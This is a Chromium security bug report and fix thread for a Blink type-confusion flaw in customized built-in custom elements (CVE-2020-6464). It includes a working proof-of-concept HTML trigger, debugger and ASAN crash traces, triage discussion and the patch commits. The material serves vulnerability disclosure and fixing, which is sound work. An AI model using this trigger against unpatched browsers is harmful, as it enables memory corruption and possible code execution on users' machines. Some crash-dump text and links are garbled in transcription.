



☆ Starred by 3 users

Owner: ----

CC:  yuzhehan@chromium.org
dominickn@chromium.org
tkent@chromium.org
adetaylor@chromium.org
domenic@chromium.org
 srinivassista@chromium.org
bzbar...@mit.edu
chrisht@chromium.org
mas...@chromium.org

Status: Verified (Closed)

Components: Blink>HTML>CustomElements

Modified: Jul 28, 2020

Backlog-Rank: ----

Editors: ----

EstimatedDays: ----

NextAction: ----

OS: Linux, Android, Windows, Chrome, Mac

Pri: 1

Type: Bug-Security

Hotlist-Merge-Review
Security_Impact-Stable
Security_Severity-High
reward-7500
allpublic
reward-inprocess
ClusterFuzz-Verified
Test-Predator-Wrong-Components
Test-Predator-Auto-Components
CVE_description-submitted
M-81
VulnerabilityAnalysis-Requested
VulnerabilityAnalysis-Submitted
merge-merged-4044
merge-merged-81
merge-merged-4103
merge-merged-83
Release-4-M81
CVE-2020-6464

Issue 1071059: Security: Blink - Type Confusion with Custom Element

Reported by loobe...@gmail.com on Wed, Apr 15, 2020, 9:13 AM EDT

 Code

VULNERABILITY DETAILS

A specifically crafted HTML file with built in custom elements can cause type confusion between HTMLUnknownElement and an element of attacker's choice. This bug may be exploited to achieve one click remote code execution in the renderer process.

When creating the Customized built-in element, if there is exception in the custom constructor, the process is not aborted. Instead, a special failed element (with CustomElementState::kFailed and the same tag name) is still created and returned:

```
HTML_Element* ScriptCustomElementDefinition::HandleCreateElementSyncException(...) {  
  ...  
  return CustomElement::CreateFailedElement(document, tag_name);  
}
```

The type of the return element is HTMLUnknownElement:

```
HTML_Element* CustomElement::CreateFailedElement(Document& document,  
  const QualifiedName& tag_name) {  
  ...  
  auto* element = MakeGarbageCollected<HTMLUnknownElement>(tag_name, document);  
  element->SetCustomElementState(CustomElementState::kFailed);  
  return element;  
}
```

Later, when this custom element is used, it's cast to the built in type, data and method members(which reside the memory boundary of the HTMLUnknownElement object) of the built in type object are accessed. In the PoC TypeConfusion_CustomElement_PoC.html, an HTMLUnknownElement object is cast to HTMLMediaElement, corrupted address is being executed:

```
Node::InsertionNotificationRequest HTMLSourceElement::InsertedInto(  
  ContainerNode& insertion_point) {  
  HTML_Element::InsertedInto(insertion_point);  
  Element* parent = parentElement();  
  if (auto* media = DynamicTo<HTMLMediaElement>(parent))  
    media->SourceWasAdded(this);  
}
```

The downcast DynamicTo<> does have some checking. But it only check the tag name which is correctly contained in HTMLUnknownElement object, so it can pass this check and proceed with the type conversion. In the PoC, the failed HTMLUnknownElement element object has the same video tag name:

```
template <T>  
struct DowncastTraits<HTMLVideoElement> {  
  static bool AllowFrom(const Element& element) {  
    return element.HasTagName(html_names::kVideoTag);  
  }  
}
```

Potentially lots of built in elements that support customization can be used to trigger this type confusion. This gives the attacker flexibility to exploit this bug. I attached a second PoC TypeConfusion_CustomElement_PoC2_form.html as an example of a different element.

VERSION

Chrome Version: It affects all channels. The crash state in this report is collected with Chromium 83.0.4103.14 (Developer Build) (64-bit)
Operating System: Windows 10

REPRODUCTION CASE (TypeConfusion_CustomElement_PoC.html)

```
<script>
class Custom1 extends HTMLVideoElement {
  constructor() {
    super();
    undefinedvar.setAttribute("", "");
  }
}
customElements.define("cus-tom1", Custom1, { extends: "video" });
</script>
<body >
<video is="cus-tom1">
<source>
</source>
</video>
</body>
```

FOR CRASHES, PLEASE INCLUDE THE FOLLOWING ADDITIONAL INFORMATION

Type of crash: tab

Crash State:

```
(4550.31e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chromelblink::Visitor::Trace+0x21 [inlined in chromelblink::SecurityContext::Trace+0x40]:
00007ffb`067f3040 ff018      call     qword ptr [rax+18h] ds:00007ffb`0a1254d9=727000656279616d
4:071> r
rax=00007ffb0a1254c1 rbx=0000002c2486025b0 rcx=0000247aaf904130
rdx=000013f8b21e76d8 rsi=0000247aaf904130 rdi=0000247aaf902a10
rip=00007ffb067f3040 rsp=000000d3b03fe0d0 rbp=00004c369d2780c8
r8=000000d3b03fe0f0 r9=0000000000000000 r10=0000000000000003
r11=000000d3b03fe0e0 r12=0000000000000000 r13=000000d3b03fe210
r14=000000d3b03fe1f8 r15=0000247aaf9028e8
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010204
chromelblink::Visitor::Trace+0x21 [inlined in chromelblink::SecurityContext::Trace+0x40]:
00007ffb`067f3040 ff018      call     qword ptr [rax+18h] ds:00007ffb`0a1254d9=727000656279616d
4:071> k
# Child-SP          RetAddr          Call Site
00 (Inline Function) ----- chromelblink::Visitor::Trace+0x21 [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\heap\visitor.h @ 154]
01 (Inline Function) ----- chromelblink::Visitor::Trace+0x25 [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\heap\visitor.h @ 117]
02 000000d3`b03fe0d0 00007ffb`067493fc chromelblink::SecurityContext::Trace+0x40
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\execution_context\security_context.cc @ 79]
03 (Inline Function) ----- chromelblink::TraceTrait<blink::SecurityContext>::Trace+0xf
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\heap\trace_traits.h @ 176]
04 (Inline Function) ----- chromelblink::Visitor::Trace+0x19 [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\heap\visitor.h @ 234]
05 000000d3`b03fe120 00007ffb`05d0998c chromelblink::Document::Trace+0x3c [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\dom\document.cc @ 8152]
06 000000d3`b03fe1d0 00007ffb`05d09857 chromelblink::TimerBase::SetNextFireTime+0x11c [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\timer.cc @ 119]
07 000000d3`b03fe260 00007ffb`07271d0b chromelblink::TimerBase::Start+0x57 [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\timer.cc @ 60]
08 (Inline Function) ----- chromelblink::TimerBase::StartOneShot+0x10 [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\timer.h @ 60]
09 (Inline Function) ----- chromelblink::HTMLMediaElement::ScheduleNextSourceChild+0x3f
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\media\html_media_element.cc @ 752]
0a 000000d3`b03fe2b0 00007ffb`0727a016 chromelblink::HTMLMediaElement::InvokeResourceSelectionAlgorithm+0x11b
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\media\html_media_element.cc @ 996]
0b 000000d3`b03fe310 00007ffb`07291060 chromelblink::HTMLMediaElement::SourceWasAdded+0x1a6
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\media\html_media_element.cc @ 3229]
0c 000000d3`b03fe400 00007ffb`067fc0c4 chromelblink::HTMLSourceElement::InsertedInto+0x60
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\html_source_element.cc @ 96]
0d 000000d3`b03fe440 00007ffb`067faa8a chromelblink::ContainerNode::NotifyNodeInsertedInternal+0x94
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\dom\container_node.cc @ 951]
0e 000000d3`b03fe4a0 00007ffb`067f9265 chromelblink::ContainerNode::NotifyNodeInserted+0x7a
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\dom\container_node.cc @ 930]
0f 000000d3`b03fe580 00007ffb`081a8e49 chromelblink::ContainerNode::ParserAppendChild+0x295
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\dom\container_node.cc @ 911]
10 (Inline Function) ----- chromelblink::Insert+0x242 [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_construction_site.cc @ 123]
11 (Inline Function) ----- chromelblink::ExecuteInsertTask+0x242 [c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_construction_site.cc @ 129]
12 000000d3`b03fe650 00007ffb`081a99a7 chromelblink::HTMLConstructionSite::ExecuteTask+0x279
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_construction_site.cc @ 196]
13 000000d3`b03fe6b0 00007ffb`08187167 chromelblink::HTMLConstructionSite::ExecuteQueuedTasks+0x67
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_construction_site.cc @ 336]
14 000000d3`b03fe730 00007ffb`073c343f chromelblink::HTMLTreeBuilder::ConstructTree+0xe7
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_tree_builder.cc @ 342]
15 (Inline Function) ----- chromelblink::HTMLDocumentParser::ConstructTreeFromCompactHTMLToken+0x1a
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc @ 765]
16 000000d3`b03fe7c0 00007ffb`073c25f0 chromelblink::HTMLDocumentParser::ProcessTokenizedChunkFromBackgroundParser+0x17f
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc @ 567]
17 000000d3`b03fe8d0 00007ffb`073c2457 chromelblink::HTMLDocumentParser::PumpPendingSpeculations+0x180
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc @ 644]
18 000000d3`b03fe9a0 00007ffb`0521fd8 chromelblink::HTMLDocumentParser::ResumeParsingAfterYield+0xf7
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\core\html\parser\html_document_parser.cc @ 337]
19 (Inline Function) ----- chromelbase::OnceCallback<void ()>::Run+0x11 [c:\b\sw\ir\cache\builder\src\base\callback.h @ 98]
1a 000000d3`b03fe9f0 00007ffb`02e67231 chromelblink::TaskHandle::Runner::Run+0x42
[c:\b\sw\ir\cache\builder\src\third_party\blink\renderer\platform\scheduler\common\post_cancellable_task.cc @ 47]
1b (Inline Function) ----- chromelbase::OnceCallback<void ()>::Run+0x12 [c:\b\sw\ir\cache\builder\src\base\callback.h @ 98]
1c 000000d3`b03fea50 00007ffb`02e64489 chromelbase::TaskAnnotator::RunTask+0x121 [c:\b\sw\ir\cache\builder\src\base\task\common\task_annotator.cc @ 142]
1d 000000d3`b03feb50 00007ffb`05e63d90 chromelbase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl+0x139
[c:\b\sw\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 325]
1e 000000d3`b03fec90 00007ffb`02e642ec chromelbase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork+0xa0
[c:\b\sw\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 250]
1f 000000d3`b03fed20 00007ffb`02e641f8 chromelbase::MessagePumpDefault::Run+0x7c [c:\b\sw\ir\cache\builder\src\base\message_loop\message_pump_default.cc @ 41]
20 000000d3`b03feda0 00007ffb`02e63c5a chromelbase::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run+0xb8
[c:\b\sw\ir\cache\builder\src\base\task\sequence_manager\thread_controller_with_message_pump_impl.cc @ 437]
21 000000d3`b03fee00 00007ffb`05d64480 chromelbase::RunLoop::Run+0x1aa [c:\b\sw\ir\cache\builder\src\base\run_loop.cc @ 126]
22 000000d3`b03feaa0 00007ffb`02e7797d chromelcontent::RendererMain+0x328 [c:\b\sw\ir\cache\builder\src\content\renderer\renderer_main.cc @ 227]
23 000000d3`b03ff040 00007ffb`02e5f85b chromelcontent::ContentMainRunnerImpl::Run+0x111 [c:\b\sw\ir\cache\builder\src\content\app\content_main_runner_impl.cc @
```

882]
24 000000d3'b03f0e0 00007ffb'02e5f2cf chrome|service_manager::Main+0x4d3 [c:\b\sw\i\ncache\builder\src\services\service_manager\embedder\main.cc @ 454]
25 000000d3'b03f8b0 00007ffb'02e539b2 chrome|content::ContentMain+0x3e [c:\b\sw\i\ncache\builder\src\content\app\content_main.cc @ 19]

TypeConfusion_CustomElement_PoC.html

277 bytes [View](#) [Download](#)

TypeConfusion_CustomElement_PoC2_form.html

270 bytes [View](#) [Download](#)

[Comment 1](#) by [dominickn@chromium.org](#) on Wed, Apr 15, 2020, 8:45 PM EDT [Project Member](#)

Status: Assigned (was: Unconfirmed)

Owner: a_deleted_user

Cc: [domenic@chromium.org](#)

Labels: Security_Severity-High Security_Impact-Stable OS-Android OS-Chrome OS-Linux OS-Mac OS-Windows

Components: Blink>HTML>CustomElements

Thanks for the report! I've uploaded it to ClusterFuzz to see if we can reproduce it there.

+custom elements folks, can you take a look? Arbitrary code execution in the renderer is a High severity security bug.

[Comment 2](#) by [dominickn@chromium.org](#) on Wed, Apr 15, 2020, 8:46 PM EDT [Project Member](#)

ClusterFuzz testcase: <https://clusterfuzz.com/testcase-detail/5635770979778560>

[Comment 3](#) by [dominickn@chromium.org](#) on Wed, Apr 15, 2020, 9:24 PM EDT [Project Member](#)

Stacktrace from ClusterFuzz:

```
[676179:1:0416/011447.164302:VERBOSE1:dispatcher.cc(373)] Num tracked contexts:1
[676111:676111:0416/011447.525192:INFO:CONSOLE(5)] "Uncaught ReferenceError: undefinedvar is not defined", source: file:///mnt/scratch0/clusterfuzz/bot/inputs/fuzzer-
testcases/TypeConfusion_CustomElement_PoC.html (5)
=====
==1==ERROR: AddressSanitizer: use-after-poison on address 0x7ed8115243b0 at pc 0x55c861c1cb5e bp 0x7ffc89d0f830 sp 0x7ffc89d0f828
READ of size 4 at 0x7ed8115243b0 thread T0 (chrome)
SCARINESS: 27 (4-byte-read-use-after-poison)
#0 0x55c861c1cb5d in getNetworkState third_party/blink/renderer/core/html/media/html_media_element.cc:798:10
#1 0x55c861c1cb5d in blink::HTMLMediaElement::SourceWasAdded(blink::HTMLSourceElement*)
third_party/blink/renderer/core/html/media/html_media_element.cc:3228:7
#2 0x55c861b9586c in blink::HTMLSourceElement::InsertedInto(blink::ContainerNode&) third_party/blink/renderer/core/html/html_source_element.cc:94:12
#3 0x55c85fe67da4 in blink::ContainerNode::NotifyNodeInsertedInternal(blink::Node&, blink::HeapVector<blink::Member<blink::Node>, 11u>&)
third_party/blink/renderer/core/dom/container_node.cc:952:14
#4 0x55c85fe62876 in blink::ContainerNode::NotifyNodeInserted(blink::Node&, blink::ContainerNode::ChildrenChangeSource)
third_party/blink/renderer/core/dom/container_node.cc:928:3
#5 0x55c85fe5cc0d in blink::ContainerNode::ParserAppendChild(blink::Node*) third_party/blink/renderer/core/dom/container_node.cc:911:3
#6 0x55c861d31b57 in blink::Insert(blink::HTMLConstructionSiteTask&) third_party/blink/renderer/core/html/parser/html_construction_site.cc:123:18
#7 0x55c861d2080c in ExecuteInsertTask third_party/blink/renderer/core/html/parser/html_construction_site.cc:129:3
#8 0x55c861d2080c in blink::HTMLConstructionSite::ExecuteTask(blink::HTMLConstructionSiteTask&)
third_party/blink/renderer/core/html/parser/html_construction_site.cc:179:12
#9 0x55c861d23634 in blink::HTMLConstructionSite::ExecuteQueuedTasks() third_party/blink/renderer/core/html/parser/html_construction_site.cc:336:5
#10 0x55c861ded6a8 in blink::HTMLTreeBuilder::ConstructTree(blink::AtomicHTMLToken*) third_party/blink/renderer/core/html/parser/html_tree_builder.cc:340:9
```

[Comment 4](#) by [dominickn@chromium.org](#) on Thu, Apr 16, 2020, 12:26 AM EDT [Project Member](#)

Labels: M-81

[Comment 5](#) by [a_deleted_user](#) on Thu, Apr 16, 2020, 2:06 AM EDT

Cc: [tkent@chromium.org](#) [jarhar@chromium.org](#) [yuzhehan@chromium.org](#) [chrisht@chromium.org](#)

Labels: Pri-1

This looks bad. Any idea about a starting milestone for this bug? From the description, it seems like this has always been there.

The first few fixes that come to mind:

- add a check for CustomElementState::kFailed in all of the DowncastTraits.

- change the tag name for the failed element so it doesn't match the builtin

+[tkent@](#) for suggestions on the best fix here.

[Comment 6](#) by [loobe...@gmail.com](#) on Thu, Apr 16, 2020, 2:11 AM EDT

I discovered this bug from 2018 on Chrome 71.

The bug probably existed since day one custom built in element was implemented.

[Comment 7](#) by [a_deleted_user](#) on Thu, Apr 16, 2020, 2:37 AM EDT

OK, thanks for the clarification. Here is a quick patch that appears to eliminate the crash on the first (video) POC. The second POC doesn't directly crash, at least when the DCHECK at [1] is removed. But it would seem that this should remove the ability to incorrectly downcast for all classes that use HasTagName() in the DowncastTraits.

<https://chromium-review.googlesource.com/c/chromium/src/+2152227>

[1]
https://source.chromium.org/chromium/chromium/src/+master:third_party/blink/renderer/core/html/custom/custom_element.cc;l=208;drc=0c74fc90a74eacdf5df1363c75b801adebf87369f

[Comment 8](#) by [tkent@chromium.org](#) on Thu, Apr 16, 2020, 2:51 AM EDT [Project Member](#)

I think this is the problem discussed on <https://github.com/whatwg/html/issues/5084>.

[Comment 9](#) by [a_deleted_user](#) on Thu, Apr 16, 2020, 3:06 AM EDT

Re [comment #8](#) yes I think you're right. And if we make that change (return the custom element instead of HTMLUnknownElement), that should fix this bug also, I would think. Right?

[Comment 10](#) by [dominickn@chromium.org](#) on Thu, Apr 16, 2020, 8:32 AM EDT [Project Member](#)

Cc: [dominickn@chromium.org](#)

[Issue 1074406](#) has been merged into this issue.

[Comment 11](#) by [tkent@chromium.org](#) on Thu, Apr 16, 2020, 8:50 AM EDT [Project Member](#)

> that should fix this bug also, I would think. Right?

I think so.

[Comment 12](#) by [ClusterFuzz](#) on Thu, Apr 16, 2020, 10:02 AM EDT [Project Member](#)

Labels: Test-Predator-Auto-Components
Components: Blink>Media

Automatically applying components based on crash stacktrace and information from OWNERS files.

If this is incorrect, please apply the Test-Predator-Wrong-Components label.

[Comment 13](#) by [ClusterFuzz](#) on Thu, Apr 16, 2020, 10:02 AM EDT Project Member
Detailed Report: <https://clusterfuzz.com/testcase?key=5635770979778560>

Fuzzer:
Job Type: linux_asan_chrome_mp
Platform Id: linux

Crash Type: Use-after-poison READ 4
Crash Address: 0x7ee1380643b0
Crash State:
blink::HTMLMediaElement::SourceWasAdded
blink::HTMLSourceElement::InsertedInto
blink::ContainerNode::NotifyNodeInsertedInternal

Sanitizer: address (ASAN)

Recommended Security Severity: High

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=543603:543606

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5635770979778560

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone <https://github.com/google/clusterfuzz> && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

`/reproduce.sh -t https://clusterfuzz.com/testcase-detail/5635770979778560 -b /path/to/build`

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFvHj6E5jz5> so we can improve.

[Comment 14](#) by [mason...@google.com](#) on Thu, Apr 16, 2020, 11:36 AM EDT Project Member
Labels: Test-Predator-Wrong-Components
Components: -Blink>Media

[Comment 15](#) by [a_deleted_user](#) on Thu, Apr 16, 2020, 11:38 AM EDT
dominickn@, if it contains anything interesting, could you please cc me on [crbug.com/1071406](#) ?

[Comment 16](#) by [a_deleted_user](#) on Thu, Apr 16, 2020, 11:39 AM EDT
Reporter: have you filed a bug with Mozilla for this? (I'm assuming a similar bug might exist there.)

[Comment 17](#) by [a_deleted_user](#) on Thu, Apr 16, 2020, 1:24 PM EDT
Cc: bzbar...@mit.edu
Ok, likely a better fix at: <https://chromium-review.googlesource.com/c/chromium/src/+2152986>

That also appears to fix [crbug.com/1024866](#). I'll be adding tests soon.

[Comment 18](#) by [dominickn@chromium.org](#) on Thu, Apr 16, 2020, 7:15 PM EDT Project Member
masonfreed: [issue-1071406](#) was automatically filed by ClusterFuzz when I uploaded the reporter's repro case, so there's nothing new there that isn't already on this bug. :)

[Comment 19](#) by [a_deleted_user](#) on Fri, Apr 17, 2020, 1:48 PM EDT
Cc: srinivassista@chromium.org
Re [comment #18](#), ok thanks. I figured, but wanted to make sure.

I've got a fix for this, just need to make sure it passes tests and then I'll get it landed.

My current plan is to request a merge to M83, unless people think this doesn't warrant a merge? From [comment #6](#), it would appear that this bug has been here for quite some time. +srinivassista to comment.

[Comment 20](#) by [srinivassista@google.com](#) on Fri, Apr 17, 2020, 5:13 PM EDT Project Member
Cc: adetaylor@chromium.org
thanks masonfreed@

also adding adetaylor@ to chime in as this seems to exist since M71, if this warrants a merge to M83 (see [comment #6](#))

[Comment 21](#) by [adetaylor@chromium.org](#) on Sun, Apr 19, 2020, 11:38 PM EDT Project Member
masonfreed@ yes, as an externally reported type confusion it's reasonable to assume attackers have also found this and are exploiting it, so we'll want to get the fix into M81 as well as M83. Please mark the bug as fixed when you've landed the fix, and Sheriffbot will take care of adding the right merge labels.

[Comment 22](#) by [bugdroid](#) on Mon, Apr 20, 2020, 5:58 PM EDT Project Member
The following revision refers to this bug:
<https://chromium.googlesource.com/chromium/src.git/+7101418f85a0f17e4f9a35dfe3a9acff76340a93>

commit 7101418f85a0f17e4f9a35dfe3a9acff76340a93
Author: Mason Freed <masonfreed@chromium.org>
Date: Mon Apr 20 21:57:52 2020

Fix customized built-in element constructor behavior

This CL implements two changes:

1. It fixes the implementation to better match the spec for the "create an element for the token" [1] algorithm. Prior to this CL, step 7 of that algorithm was skipping directly to step 6 of the "create an element" [2] algorithm, skipping over step 5 for customized built-in elements. This is now fixed. This case is illustrated by the issue and example at [3] and [4]. This becomes the first test in customized-built-in-constructor-exceptions.html.

2. It updates the comments to match the new behavior discussed in [3]

and the [5] spec PR, which changes the return value in the case that a customized built-in element constructor throws an exception. With the change above, that is actually already the behavior. So this is just a comment change. Two new tests are added to customized-built-in-constructor-exceptions.html.

- [1] <https://html.spec.whatwg.org/multipage/parsing.html#create-an-element-for-the-token>
[2] <https://dom.spec.whatwg.org/#concept-create-element>
[3] <https://github.com/whatwg/html/issues/5084>
[4] <https://bug.com/4024866>
[5] <https://github.com/whatwg/dom/pull/797>

[Bug-4074060, 4024866](#)

Change-Id: I814c81991eb5e83501304bcb3d2da476743aef52
Cq-Do-Not-Cancel-Tryjobs: true
Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+2152986>
Commit-Queue: Mason Freed <masonfreed@chromium.org>
Auto-Submit: Mason Freed <masonfreed@chromium.org>
Reviewed-by: Kent Tamura <ktent@chromium.org>
Cr-Commit-Position: refs/heads/master@{#760705}

[modify] https://crrev.com/7101418f85a0f17e4f9a35dfe3a9acff76340a93/third_party/blink/renderer/bindings/core/v8/script_custom_element_definition.cc
[modify] https://crrev.com/7101418f85a0f17e4f9a35dfe3a9acff76340a93/third_party/blink/renderer/core/html/custom/custom_element.cc
[modify] https://crrev.com/7101418f85a0f17e4f9a35dfe3a9acff76340a93/third_party/blink/renderer/core/html/custom/custom_element_definition.cc
[modify] https://crrev.com/7101418f85a0f17e4f9a35dfe3a9acff76340a93/third_party/blink/renderer/core/html/parser/html_construction_site.cc
[add] https://crrev.com/7101418f85a0f17e4f9a35dfe3a9acff76340a93/third_party/blink/web_tests/external/wpt/custom-elements/customized-built-in-constructor-exceptions.html

Comment 23 by mason...@google.com on Mon, Apr 20, 2020, 6:26 PM EDT Project Member

Status: Fixed (was: Assigned)

Ok, fixed with [comment #22](#).

Comment 24 by sheriffbot on Tue, Apr 21, 2020, 3:01 PM EDT Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 25 by sheriffbot on Tue, Apr 21, 2020, 3:21 PM EDT Project Member

Labels: Merge-Request-81 Merge-Request-83

Requesting merge to stable M81 because latest trunk commit (760705) appears to be after stable branch point (737173).

Requesting merge to beta M83 because latest trunk commit (760705) appears to be after beta branch point (756066).

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 26 by sheriffbot on Tue, Apr 21, 2020, 3:25 PM EDT Project Member

Labels: -Merge-Request-83 Merge-Review-83 Hotlist-Merge-Review

This bug requires manual review: To minimize risk and increase branch stability, all merge requests are being reviewed manually by the release team. Before a merge request will be considered, the following information is required to be added to this bug:

1. Does your merge fit within the Merge Decision Guidelines?
- Chrome: https://chromium.googlesource.com/chromium/src.git/+master/docs/process/merge_request.md#when-to-request-a-merge
- Chrome OS: <https://goto.google.com/cros-release-branch-merge-guidelines>
2. Links to the CLs you are requesting to merge.
3. Has the change landed and been verified on master/Tot?
4. Why are these changes required in this milestone after branch?
5. Is this a new feature?
6. If it is a new feature, is it behind a flag using finch?

Please contact the milestone owner if you have questions.

Owners: benmason@(Android), bindusuvama@(iOS), cindyb@(ChromeOS), srinivassista@(Desktop)

For more details visit <https://www.chromium.org/issue-tracking/autotriage> - Your friendly Sheriffbot

Comment 27 by a_deleted_user on Tue, Apr 21, 2020, 3:29 PM EDT

1. Does your merge fit within the Merge Decision Guidelines? Security bug, so I think yes.
2. Links to the CLs you are requesting to merge. [r760705](#)
3. Has the change landed and been verified on master/Tot? Landed in Canary 84.0.4121.0, not verified yet.
4. Why are these changes required in this milestone after branch? This security bug was reported 6 days ago, after branch.
5. Is this a new feature? No
6. If it is a new feature, is it behind a flag using finch? N/A

Comment 28 by adetaylor@chromium.org on Tue, Apr 21, 2020, 4:53 PM EDT Project Member

Labels: -Merge-Review-83 Merge-Approved-83

I'm going to approve merged to M83 (branch 4103) in case we're in time for tomorrow's beta (I'm not sure if the branch has been cut yet). Please only merge if you're very confident of the stability of the fix.

M81 - let's wait for some days of canary (and ideally beta) coverage. As this is potentially visible to web developers (even if we're just aligning with the spec) I don't want to rush into merging this to M81, and possibly it should just wait for M83 anyway.

Comment 29 by mason...@google.com on Tue, Apr 21, 2020, 5:18 PM EDT Project Member

Thanks. I'm fairly confident about the stability of the fix. It is really a one-line change, at [1], and I've verified that it fixes both repros from this bug as well as the repro from [adbug.com/4024866](#).

I'll merge it to M83 now, and wait for further instructions for M81.

[1] https://chromium-review.googlesource.com/c/chromium/src/+2152986/8/third_party/blink/renderer/core/html/parser/html_construction_site.cc

Comment 30 by jarhar@chromium.org on Tue, Apr 21, 2020, 5:55 PM EDT Project Member

Cc: -jarhar@chromium.org

Comment 31 by ClusterFuzz on Tue, Apr 21, 2020, 6:35 PM EDT Project Member

Detailed Report: <https://clusterfuzz.com/testcase?key=5635770979778560>

Fuzzer:
Job Type: linux_asan_chrome_mp
Platform Id: linux

Crash Type: Use-after-poison READ 4

Crash Address: 0x7ee1380643b0
Crash State:
blink::HTMLMediaElement::SourceWasAdded
blink::HTMLSourceElement::InsertedInto
blink::ContainerNode::NotifyNodeInsertedInternal

Sanitizer: address (ASAN)

Recommended Security Severity: High

Regressed: https://clusterfuzz.com/revisions?job=linux_asan_chrome_mp&range=543603:543606

Reproducer Testcase: https://clusterfuzz.com/download?testcase_id=5635770979778560

The reproduce tool requires a ClusterFuzz source checkout. To prepare one, run:

git clone <https://github.com/google/clusterfuzz> && cd clusterfuzz && git checkout tags/reproduce-tool-stable

To reproduce this issue, run:

./reproduce.sh -t <https://clusterfuzz.com/testcase-detail/5635770979778560> -b /path/to/build

Please use the GN arguments provided in this report when building the binary. If you have any feedback on reproducing test cases, let us know at <https://forms.gle/Yh3qCYFvHj6E5jz5> so we can improve.

Comment 32 by [bugdroid](#) on Tue, Apr 21, 2020, 6:43 PM EDT Project Member

Labels: -merge-approved-83 merge-merged-4103 merge-merged-83

The following revision refers to this bug:

<https://chromium.googlesource.com/chromium/src.git/+//5aeb5453ecde0e5291e2a13e341864628cdceed>

commit [f5aeb5453ecde0e5291e2a13e341864628cdceed](#)

Author: Mason Freed <masonfreed@chromium.org>

Date: Tue Apr 21 22:42:38 2020

Fix customized built-in element constructor behavior

This CL implements two changes:

1. It fixes the implementation to better match the spec for the "create an element for the token" [1] algorithm. Prior to this CL, step 7 of that algorithm was skipping directly to step 6 of the "create an element" [2] algorithm, skipping over step 5 for customized built-in elements. This is now fixed. This case is illustrated by the issue and example at [3] and [4]. This becomes the first test in customized-built-in-constructor-exceptions.html.
2. It updates the comments to match the new behavior discussed in [3] and the [5] spec PR, which changes the return value in the case that a customized built-in element constructor throws an exception. With the change above, that is actually already the behavior. So this is just a comment change. Two new tests are added to customized-built-in-constructor-exceptions.html.

[1] <https://html.spec.whatwg.org/multipage/parsing.html#create-an-element-for-the-token>

[2] <https://dom.spec.whatwg.org/#concept-create-element>

[3] <https://github.com/whatwg/html/issues/5084>

[4] <https://bug.com/1024066>

[5] <https://github.com/whatwg/dom/pull/797>

TBR=masonfreed@chromium.org

(cherry picked from commit [7101418f85a0f17e4f9a35dfe3a9acff76340a93](#))

~~Bug-1074060, 1024066~~

Change-Id: I814c81991eb5e83501304bcb3d2da476743aef52

Cq-Do-Not-Cancel-Tryjobs: true

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+//2152986>

Commit-Queue: Mason Freed <masonfreed@chromium.org>

Auto-Submit: Mason Freed <masonfreed@chromium.org>

Reviewed-by: Kent Tamura <ktent@chromium.org>

Cr-Original-Commit-Position: refs/heads/master@{#760705}

Reviewed-on: <https://chromium-review.googlesource.com/c/chromium/src/+//2158942>

Reviewed-by: Mason Freed <masonfreed@chromium.org>

Cr-Commit-Position: refs/branch-heads/4103@{#264}

Cr-Branched-From: [8ad47e8d21f6866e4a37147d83a860d41deb514](#)-refs/heads/master@{#756066}

[modify] https://crrev.com/f5aeb5453ecde0e5291e2a13e341864628cdceed/third_party/blink/renderer/bindings/core/v8/script_custom_element_definition.cc

[modify] https://crrev.com/f5aeb5453ecde0e5291e2a13e341864628cdceed/third_party/blink/renderer/core/html/custom/custom_element.cc

[modify] https://crrev.com/f5aeb5453ecde0e5291e2a13e341864628cdceed/third_party/blink/renderer/core/html/custom/custom_element_definition.cc

[modify] https://crrev.com/f5aeb5453ecde0e5291e2a13e341864628cdceed/third_party/blink/renderer/core/html/parser/html_construction_site.cc

